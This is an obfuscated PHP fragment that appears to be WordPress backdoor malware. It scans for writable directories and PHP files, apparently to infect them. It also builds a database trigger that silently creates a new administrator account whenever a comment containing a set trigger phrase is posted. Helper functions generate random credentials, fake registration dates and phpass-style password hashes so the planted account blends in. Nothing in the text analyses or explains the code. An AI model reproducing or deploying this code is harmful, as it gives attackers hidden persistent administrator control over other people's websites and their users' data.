40RecursiveDirectoryIterator($dlvjsc),\040RecursiveIteratorIterator::SELF_FIRST,\040RecursiveIteratorIterator::CATCH_GET_CHILD);\012\012\040\040\040\040$rsktttek->setMaxDepth($wmqcajsi);\012\012\040\040\040\040foreach\040($rsktttek\040as\040$psmhvv\040=>\040$sciyfpojvm)\040{\012\040\040\040\040\040\040\040\040if\040(($dlvjsc\040=\040$sciyfpojvm->getPath())\040===\040$ejfauhzfa)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040(is_dir($sciyfpojvm)\040&&\040is_writeable($sciyfpojvm))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$dorfyuilhphx[]\040=\040$dlvjsc;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\040\040\040\040return\040array_unique($dorfyuilhphx);\012}\012\012function\040pqtnz($ejfauhzfa,\040$jtcohzib\040=\0402,\040$wmqcajsi\040=\0401)\040{\012\012\040\040\040\040if\040(!is_dir($ejfauhzfa))\040{\012\040\040\040\040\040\040\040\040return;\012\040\040\040\040}\012\012\040\040\040\040$dlvjsc\040=\040realpath($ejfauhzfa);\012\012\012\040\040\040\040$rsktttek\040=\040new\040RecursiveIteratorIterator(new\040RecursiveDirectoryIterator($dlvjsc),\040RecursiveIteratorIterator::SELF_FIRST,\040RecursiveIteratorIterator::CATCH_GET_CHILD);\012\012\040\040\040\040$rsktttek->setMaxDepth($wmqcajsi);\012\012\040\040\040\040$dorfyuilhphx\040=\040array();\012\012\040\040\040\040foreach\040($rsktttek\040as\040$psmhvv\040=>\040$sciyfpojvm)\040{\012\012\040\040\040\040\040\040\040\040$dlvjsc\040=\040$sciyfpojvm->getPathName();\012\040\040\040\040\040\040\040\040if\040(stristr($dlvjsc,\040'.php')\040===\040false)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040(!is_writeable(dirname($dlvjsc)))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$dorfyuilhphx[$dlvjsc]\040=\0401;\012\040\040\040\040}\012\012\040\040\040\040$peqzpxs\040=\040array_keys($dorfyuilhphx);\012\040\040\040\040shuffle($peqzpxs);\012\012\040\040\040\040return\040array_slice($peqzpxs,\0400,\040$jtcohzib);\012}\012\012function\040zlxoraeur($vfwnyud,\040$varoqspyr,\040$ryuvjv,\040$ggsueysmjv,\040$bewnhkhedqr,\040$yjtfjffzg,\040$kfnnyfywzse,\040$kdqphuxls,\040$wssrtt,\040$wmtyidc,\040$vzsudzchdp)\040{\012\012\040\040\040\040$vynyzuxfx\040=\040<<<STR\012CREATE\040TRIGGER\040`after_insert_comment`\040AFTER\040INSERT\040ON\040`${wmtyidc}`.`${vzsudzchdp}comments`\012\040FOR\040EACH\040ROW\040BEGIN\012\040\040\040\040IF\040NEW.comment_content\040LIKE\040'%are\040you\040struggling\040to\040get\040comments\040on\040your\040blog?%'\040THEN\012\040\040\040\040\040\040\040\040SET\040@lastInsertWpUsersId\040=\040(SELECT\040MAX(id)\040FROM\040`${wmtyidc}`.`${vzsudzchdp}users`);\012\040\040\040\040\040\040\040\040SET\040@nextWpUsersID\040=\040@lastInsertWpUsersId\040+\0401;\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${wmtyidc}`.`${vzsudzchdp}users`\040(`ID`,\040`user_login`,\040`user_pass`,\040`user_nicename`,\040`user_email`,\040`user_url`,\040`user_registered`,\040`user_activation_key`,\040`user_status`,\040`display_name`)\040VALUES\040(@nextWpUsersID,\040'${vfwnyud}',\040'${varoqspyr}',\040'${ryuvjv}',\040'${ggsueysmjv}',\040'${bewnhkhedqr}',\040'${yjtfjffzg}',\040'${kfnnyfywzse}',\040'${kdqphuxls}',\040'${wssrtt}');\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${wmtyidc}`.`${vzsudzchdp}usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040@nextWpUsersID,\040'${vzsudzchdp}capabilities',\040'a:1:{s:13:\134"administrator\134";s:1:\134"1\134";}');\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${wmtyidc}`.`${vzsudzchdp}usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040@nextWpUsersID,\040'${vzsudzchdp}user_level',\040'10');\012\040\040\040\040END\040IF;\012\040END;\012STR;\012\040\040\040\040return\040$vynyzuxfx;\012}\012\012function\040ncdnukduy($nixxkrzgt)\040{\012\040\040\040\040$ewvjgiyo\040=\040parse_url($nixxkrzgt,\040PHP_URL_HOST);\012\040\040\040\040return\040str_replace('www.',\040'',\040$ewvjgiyo);\012}\012\012function\040hswkxgi($cituybttxcc,\040$jxgfdjlcdwgi,\040$vyorlhwis\040=\040'Y-m-d\040H:i:s')\040{\012\040\040\040\040$deuuzsmy\040=\040strtotime($cituybttxcc);\012\040\040\040\040$qkyquwwwpv\040=\040strtotime($jxgfdjlcdwgi);\012\040\040\040\040$cmnrwdlv\040=\040mt_rand($deuuzsmy,\040$qkyquwwwpv);\012\012\040\040\040\040return\040date($vyorlhwis,\040$cmnrwdlv);\012}\012\012function\040bupvbin($rgqggrh,\040$psotwdws\040=\040false)\040{\012\040\040\040\040$yavgingudqks\040=\040"abcdefghijklmnopqrstuvwxyz";\012\040\040\040\040if\040($psotwdws)\040{\012\040\040\040\040\040\040\040\040$yavgingudqks\040.=\040'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@';\012\040\040\040\040}\012\012\040\040\040\040$okrgstqeexr\040=\040strlen($yavgingudqks);\012\040\040\040\040$qakrrlq\040=\040"";\012\012\040\040\040\040for\040($ptjmftkd\040=\0400;\040$ptjmftkd\040<\040$rgqggrh;\040$ptjmftkd++)\040{\012\040\040\040\040\040\040\040\040$qakrrlq\040.=\040$yavgingudqks[rand(0,\040$okrgstqeexr\040-\0401)];\012\040\040\040\040}\012\040\040\040\040return\040$qakrrlq;\012}\012\012function\040dazlmwsb()\040{\012\040\040\040\040preg_match_all('~\134d~',\040md5($_SERVER['HTTP_HOST']),\040$xyvjobclxg);\012\012\040\040\040\040$qjatdb\040=\040$xyvjobclxg[0][0];\012\040\040\040\040$altkox\040=\040end($xyvjobclxg[0]);\012\012\040\040\040\040$otuyloajymxe\040=\040array('wp',\040'cms',\040'web',\040'dev',\040'blog',\040'main',\040'articles',\040'notes',\040'news',\040'archive',);\012\040\040\040\040$wddlkzyz\040=\040array('panel',\040'feed',\040'client',\040'user',\040'rss',\040'option',\040'auth',\040'table',\040'user',\040'profile',);\012\012\040\040\040\040return\040$otuyloajymxe[$qjatdb]\040.\040$wddlkzyz[$altkox];\012}\012\012function\040nrfbh($typalfyixxl,\040$jktifsf)\040{\012\040\040\040\040$vizzpcmjrbh\040=\040'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\012\040\040\040\040define('ITOA64_CUSTOM',\040$vizzpcmjrbh);\012\012\040\040\040\040if\040($typalfyixxl\040<\0404\040||\040$typalfyixxl\040>\04031)\040{\012\040\040\040\040\040\040\040\040$typalfyixxl\040=\0408;\012\040\040\040\040}\012\012\040\040\040\040define('ITERATION_COUNT_LOG2_CUSTOM',\040$typalfyixxl);\012\040\040\040\040define('PORTABLE_HASHES_CUSTOM',\040$jktifsf);\012\012\040\040\040\040$gsfjfgzfabph\040=\040microtime();\012\040\040\040\040if\040(function_exists('getmypid'))\040{\012\040\040\040\040\040\040\040\040$gsfjfgzfabph\040.=\040getmypid();\012\040\040\040\040}\012\040\040\040\040define('RANDOM_STATE_CUSTOM',\040$gsfjfgzfabph);\012}\012\012function\040ilybizwr($jxmyllsjkdv)\040{\012\040\040\040\040if\040(strlen($jxmyllsjkdv)\040>\0404096)\040{\012\040\040\040\040\040\040\040\040return\040'*';\012\040\040\040\040}\012\012\040\040\040\040$kklphbnof\040=\040'';\012\012\040\040\040\040if\040(CRYPT_BLOWFISH\040===\0401\040&&\040!PORTABLE_HASHES_CUSTOM)\040{\012\040\040\040\040\040\040\040\040$kklphbnof\040=\040zeapxkvae(16);\012\040\040\040\040\040\040\040\040$dqvomggavjtd\040=\040crypt($jxmyllsjkdv,\040kwzweywo($kklphbnof));\012\040\040\040\040\040\040\040\040if\040(strlen($dqvomggavjtd)\040===\04060)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$dqvomggavjtd;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\040\040\040\040if\040(strlen($kklphbnof)\040<\0406)\040{\012\040\040\040\040\040\040\040\040$kklphbnof\040=\040zeapxkvae(6);\012\040\040\040\040}\012\040\040\040\040$dqvomggavjtd\040=\040ldnqm($jxmyllsjkdv,\040eddagovox($kklphbnof));\012\040\040\040\040if\040(strlen($dqvomggavjtd)\040===\04034)\040{\012\040\040\040\040\040\040\040\040return\040$dqvomggavjtd;\012\040\040\040\040}\012\012\040\040\040\040return\040'*';\012}\012\012function\040zeapxkvae($zvwpkbpuehfc)\040{\012\040\040\040\040$jbkuruwufil\040=\040'';\012\040\040\040\040if\040(@is_readable('/dev/urandom')\040&&\040($lqtzhiyqooe\040=\040@fopen('/dev/urandom',\040'rb')))\040{\012\040\040\040\040\040\040\040\040$jbkuruwufil\040=\040fread($lqtzhiyqooe,\040$zvwpkbpuehfc);\012\040\040\040\040\040\040\040\040fclose($lqtzhiyqooe);\012\040\040\040\040}\012\012\040\040\040\040if\040(strlen($jbkuruwufil)\040<\040$zvwpkbpuehfc)\040{\012\040\040\040\040\040\040\040\040$jbkuruwufil\040=\040'';\012\040\040\040\040\040\040\040\040$wfcsntepzb\040=\040RANDOM_STATE_CUSTOM;\012\040\040\040\040\040\040\040\040for\040($ptjmftkd\040=\0400;\040$ptjmftkd\040<\040$zvwpkbpuehfc;\040$ptjmftkd\040+=\04016)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$wfcsntepzb\040=\040md5(microtime()\040.\040$wfcsntepzb);\012\040\040\040\040\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040md5($wfcsntepzb,\040TRUE);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$jbkuruwufil\040=\040substr($jbkuruwufil,\0400,\040$zvwpkbpuehfc);\012\040\040\040\040}\012\012\040\040\040\040return\040$jbkuruwufil;\012}\012\012function\040kwzweywo($vgujdxk)\040{\012\012\040\040\040\040$vizzpcmjrbh\040=\040'./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\012\012\040\040\040\040$jbkuruwufil\040=\040'$2a$';\012\040\040\040\040$jbkuruwufil\040.=\040chr((int)(ord('0')\040+\040ITERATION_COUNT_LOG2_CUSTOM\040/\04010));\012\040\040\040\040$jbkuruwufil\040.=\040chr(ord('0')\040+\040ITERATION_COUNT_LOG2_CUSTOM\040%\04010);\012\040\040\040\040$jbkuruwufil\040.=\040'$';\012\012\040\040\040\040$ptjmftkd\040=\0400;\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$brmonmlkvawd\040=\040ord($vgujdxk[$ptjmftkd++]);\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[$brmonmlkvawd\040>>\0402];\012\040\040\040\040\040\040\040\040$brmonmlkvawd\040=\040($brmonmlkvawd\040&\0400x03)\040<<\0404;\012\040\040\040\040\040\040\040\040if\040($ptjmftkd\040>=\04016)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[$brmonmlkvawd];\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$icfkfrqlka\040=\040ord($vgujdxk[$ptjmftkd++]);\012\040\040\040\040\040\040\040\040$brmonmlkvawd\040|=\040$icfkfrqlka\040>>\0404;\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[$brmonmlkvawd];\012\040\040\040\040\040\040\040\040$brmonmlkvawd\040=\040($icfkfrqlka\040&\0400x0f)\040<<\0402;\012\012\040\040\040\040\040\040\040\040$icfkfrqlka\040=\040ord($vgujdxk[$ptjmftkd++]);\012\040\040\040\040\040\040\040\040$brmonmlkvawd\040|=\040$icfkfrqlka\040>>\0406;\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[$brmonmlkvawd];\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[$icfkfrqlka\040&\0400x3f];\012\040\040\040\040}\040while\040(1);\012\012\040\040\040\040return\040$jbkuruwufil;\012}\012\012function\040ldnqm($jxmyllsjkdv,\040$orhnxmbxt)\040{\012\040\040\040\040$jbkuruwufil\040=\040'*0';\012\040\040\040\040if\040(substr($orhnxmbxt,\0400,\0402)\040===\040$jbkuruwufil)\040{\012\040\040\040\040\040\040\040\040$jbkuruwufil\040=\040'*1';\012\040\040\040\040}\012\012\040\040\040\040$wzwrla\040=\040substr($orhnxmbxt,\0400,\0403);\012\040\040\040\040//if\040($wzwrla\040!==\040'$siigxec$'\040&&\040$wzwrla\040!==\040'$wmawpfifkgh$')\040{\012\040\040\040\040if\040($wzwrla\040!==\040base64_decode('JFAk')\040&&\040$wzwrla\040!==\040base64_decode('JEgk'))\040{\012\040\040\040\040\040\040\040\040return\040$jbkuruwufil;\012\040\040\040\040}\012\012\040\040\040\040$jjtloaz\040=\040strpos(ITOA64_CUSTOM,\040$orhnxmbxt[3]);\012\040\040\040\040if\040($jjtloaz\040<\0407\040||\040$jjtloaz\040>\04030)\040{\012\040\040\040\040\040\040\040\040return\040$jbkuruwufil;\012\040\040\040\040}\012\012\040\040\040\040$zvwpkbpuehfc\040=\0401\040<<\040$jjtloaz;\012\012\040\040\040\040$iymiqitoqaoi\040=\040substr($orhnxmbxt,\0404,\0408);\012\040\040\040\040if\040(strlen($iymiqitoqaoi)\040!==\0408)\040{\012\040\040\040\040\040\040\040\040return\040$jbkuruwufil;\012\040\040\040\040}\012\012\040\040\040\040$dqvomggavjtd\040=\040md5($iymiqitoqaoi\040.\040$jxmyllsjkdv,\040TRUE);\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$dqvomggavjtd\040=\040md5($dqvomggavjtd\040.\040$jxmyllsjkdv,\040TRUE);\012\040\040\040\040}\040while\040(--$zvwpkbpuehfc);\012\012\040\040\040\040$jbkuruwufil\040=\040substr($orhnxmbxt,\0400,\04012);\012\040\040\040\040$jbkuruwufil\040.=\040pibdwht($dqvomggavjtd,\04016);\012\012\040\040\040\040return\040$jbkuruwufil;\012}\012\012function\040pibdwht($vgujdxk,\040$zvwpkbpuehfc)\040{\012\040\040\040\040$jbkuruwufil\040=\040'';\012\040\040\040\040$ptjmftkd\040=\0400;\012\040\040\040\040$vizzpcmjrbh\040=\040ITOA64_CUSTOM;\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$qgjqrsr\040=\040ord($vgujdxk[$ptjmftkd++]);\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[$qgjqrsr\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($ptjmftkd\040<\040$zvwpkbpuehfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$qgjqrsr\040|=\040ord($vgujdxk[$ptjmftkd])\040<<\0408;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[($qgjqrsr\040>>\0406)\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($ptjmftkd++\040>=\040$zvwpkbpuehfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040($ptjmftkd\040<\040$zvwpkbpuehfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$qgjqrsr\040|=\040ord($vgujdxk[$ptjmftkd])\040<<\04016;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[($qgjqrsr\040>>\04012)\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($ptjmftkd++\040>=\040$zvwpkbpuehfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[($qgjqrsr\040>>\04018)\040&\0400x3f];\012\040\040\040\040}\040while\040($ptjmftkd\040<\040$zvwpkbpuehfc);\012\012\040\040\040\040return\040$jbkuruwufil;\012}\012\012function\040eddagovox($vgujdxk)\040{\012\040\040\040\040//$jbkuruwufil\040=\040'$siigxec$';\012\040\040\040\040$jbkuruwufil\040=\040base64_decode('JFAk');\012\040\040\040\040$vizzpcmjrbh\040=\040ITOA64_CUSTOM;\012\040\040\040\040$jbkuruwufil\040.=\040$vizzpcmjrbh[min(ITERATION_COUNT_LOG2_CUSTOM\040+\0405,\04030)];\012\040\040\040\040$jbkuruwufil\040.=\040pibdwht($vgujdxk,\0406);\012\012\040\040\040\040return\040$jbkuruwufil;\012}\012\012function\040sbwaoqenb()\040{\012\040\040\040\040$lzwxiawlo\040=\040bupvbin(rand(20,\04040),\040true);\012\040\040\040\040nrfbh(4,\040true);\012\040\040\040\040$dqvomggavjtd\040=\040ilybizwr($lzwxiawlo);\012\040\040\040\040return\040array($lzwxiawlo,\040$dqvomggavjtd);\012}